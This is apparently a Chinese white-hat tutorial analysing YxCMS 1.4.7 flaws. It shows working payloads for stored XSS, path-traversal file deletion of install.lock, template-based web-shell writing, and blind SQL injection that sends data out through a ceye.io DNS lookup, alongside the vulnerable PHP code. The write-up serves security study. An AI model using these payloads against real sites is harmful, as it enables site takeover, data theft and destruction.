「白帽挖洞技能」YxCMS 1.4.7 漏洞分析
这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能。
注:篇幅较长,阅读用时约7分钟。
YXcms是基于PHP+MySql开发,采用CANPHP框架编写的,是一款高效、灵活、实用、免费的企业建站系统,它的设计理念是用最少的代码做更多的事情。
安装程序
具体的安装流程和使用说明可以去官网查看:
https://www.kancloud.cn/yongheng/yxcms
前台XSS
1、漏洞复现
打开链接,输入payload:
<svg/onload=alert(1)>
然后登陆后台,查看审核。
点击编辑
2、漏洞分析
前台的文件源码:
protected/apps/default/controller/columnController.php
public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用
break;
case 5://自定义
break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}
后台的文件源码:
protected/apps/admin/controller/extendfieldController.php
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}
中间没什么过滤,具体可以看这篇文章:
https://www.hackersb.cn/hacker/85.html
任意文件删除
1、漏洞复现
需要先登录后台,然后访问之后会显示缩略图不存在:
Payload:
http://sb.com/index.php?r=admin/photo/delpic
POST:
picname=../../protected/apps/install/install.lock
然后访问网站首页就会自动转到安装的页面
2、漏洞分析
漏洞文件:
protected/apps/admin/controller/photoController.php,在第355行的delpic( )函数,可以看到$picname接收POST过来的值,然后$path等于文件开头定义的静态变量。
static protected $uploadpath='';//图片上传路径
没有对传入的值进行任何的过滤,使用函数file_exists()判断一下文件是否存在,unlink执行删除操作。
public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}
任意文件写入
1、漏洞复现
打开页面
打开我们的文件监控软件
FolderChangesView
输入我们的程序路径
D:phpStudyPHPTutorialWWWYXcms
然后写shell.php文件名,写入我们的代码。
然后会在
protectedappsdefaultiewdefault下面生成我们写入的文件。
2、漏洞分析
漏洞文件
protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default,所以$tpfile就是default。
再来下是检测是否有POST的值,接受到POST过来的filename,用trim去掉两边的空格。接收到POST过来的code,用stripcslashes反转义。
$filepath=$templepath.$filename.'.php'这一句是路径和文件的拼接,然后下面检测路径是否存在。
最后没有过滤任何的危险函数就传给file_put_contents函数,写入网站的目录。
public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败!');
}
$this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}
SQL注入
1、漏洞复现
这个盲注可以用ceye.io和python脚本跑。
payload:
1 and if((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1))--
点击删除
然后用Burp Suite截获数据,修改内容加上我们的payload,用原文的payload后面+会报错。
然后进入http://ceye.io/records/dns,查看我们的数据。
2、漏洞分析
查看漏洞文件:
protected/apps/admin/controller/fragmentController.php的第63行
public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
}
我们跟
if(model('fragment')->delete("id='$id'")),
它会先到protected/core.php文件里面的model
function model($model){
static $objArray = array();
$className = $model . 'Model';
if( !is_object($objArray[$className]) ){
if( !class_exists($className) ) {
throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型类不存在');
}
$objArray[$className] = new $className();
}
return $objArray[$className];
}
然后到
protected/apps/admin/model/fragmentModel.php
<?php
class fragmentModel extends baseModel{
protected $table = 'fragment';
}
继续
protected/base/model/baseModel.php
<?php
class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}
再来到最底层的数据库操作类protected/base/model/model.php的第45行
public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}
这个delete()是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel
static public function connect($config, $force=false){
static $model = NULL;
if( $force==true || empty($model) ){
$model = new cpModel($config);
}
return $model;
}
漏洞文件在
protected/include/core/cpModel.class.php
public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}
这里用到了一个方法_parseCondition()
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
}
这个函数是在
protected/include/core/db/cpMysql.class.php的128行
public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}
里面有一个行数来过滤escape,我们找到74行的这个函数定义
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}
不过这个函数有一句is_array如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。
以上是今天的内容,大家看懂了吗?
「白帽挖洞技能」YxCMS 1.4.7 漏洞分析的更多相关文章
- 「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性.但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏 ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(上)
「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...
- 「白帽黑客成长记」Windows提权基本原理(下)
上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(下)
「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...
- 「白帽黑客成长记」Windows提权基本原理(上)
我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...
- 「必知必会」最细致的 ArrayList 原理分析
从今天开始也正式开 JDK 原理分析的坑了,其实写源码分析的目的不再是像以前一样搞懂原理,更重要的是看看他们编码风格更进一步体会到他们的设计思想.看源码前先自己实现一个再比对也许会有不一样的收获! ...
- 「必知必会」最细致的 LinkedList 原理分析
1.结构 1. 继承 该类继承自 AbstractSequentialList 这个是由于他是一个顺序的列表,所以说继承的是一个顺序的 List 2. 实现 这个类实现的接口比较多,具体如下: 首 ...
- 众安「尊享e生」果真牛的不可一世么?
近日,具有互联网基因的.亏损大户(成立三年基本没盈利,今年二季度末亏损近4亿,你能指望它多厉害?).财产险公司—众安推出“尊享e生”中高端医疗保险(财险公司经营中高端医疗真的很厉害?真的是中高端医疗险 ...
- XCActionBar 「Xcode 中的 Alfred」
下载地址:https://github.com/pdcgomes/XCActionBar 基本命令: (1)「command+shift+8」或者双击「command」键可以打开「动作输入框窗口」 ( ...
随机推荐
- 移动OA办公——Smobiler第一个开源应用解决方案,快来get吧
产品简介 SmoONE是一款移动OA类的开源解决方案,通过Smobiler平台开发,包含了注册.登陆.用户信息等基本功能.集成了OA中使用场景较多的报销.请假.部门管理.成本中心等核心功能. 免费获取 ...
- Vue实战狗尾草博客管理平台第六章
Vue实现狗尾草博客后台管理系统第六章 本章节内容 文章列表 文章详情 草稿箱 文章发布. 本章节内容呢,开发的很是随意哈,因为多数就是element-ui的使用,熟悉的童鞋,是可以很快完成本章节的内 ...
- 学习springboot第一天~
1. springboot是对spring的缺点进行改善和优化,它的约定大于配置,开箱即用,没有代码生成,也不需要xml文件配置,可以修改属性值来满足需求 2. springboot的入门程序 在id ...
- MongoDB安装调试
1:安装 去mongodb的官网http://www.mongodb.org/downloads下载32bit的包 解压后会出现以下文件 在安装的盘C:下建立mongodb文件夹,拷贝bin文件夹到该 ...
- https://jwt.io/一个可以解析token的神奇网站
网址:https://jwt.io/ 效果:
- Nginx 配置高可用的集群
1.什么是 nginx 高可用 (1)需要两台 nginx 服务器 (2)需要 keepalived (3)需要虚拟 ip 2.配置高可用的准备工作 (1)需要两台服务器 192.168.17.129 ...
- ssh-agent,ssh-add 命令
centos 6.9 下测试: ssh-agent是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管. eval `ssh-agent -s` ssh-a ...
- Jenkins+Jmeter配置(Linux环境)
1.安装jenkins. 1.1在Linux服务器上,必须先安装jdk与Tomcat, 在/opt/tools/tomcat 安装解压Tomcat 1.2.在Linux服务器上安装jmeter 在/o ...
- DIV 自定义滚动条样式(二)
流浏览器自带的滚动条样式很丑,确实有必要美化. 滚动条从外观来看是由两部分组成:1,可以滑动的部分,我们叫它滑块2,滚动条的轨道,即滑块的轨道,一般来说滑块的颜色比轨道的颜色深. 滚动条的css样式主 ...
- (day51)三、ORM、路由层、版本差异、流程图
目录 一.ORM关系建立 (一)ForeignKey(一对多) (二)ManyToManyField(多对多) (三)OneToOneField(一对一) 二.django请求生命周期流程图 三.ur ...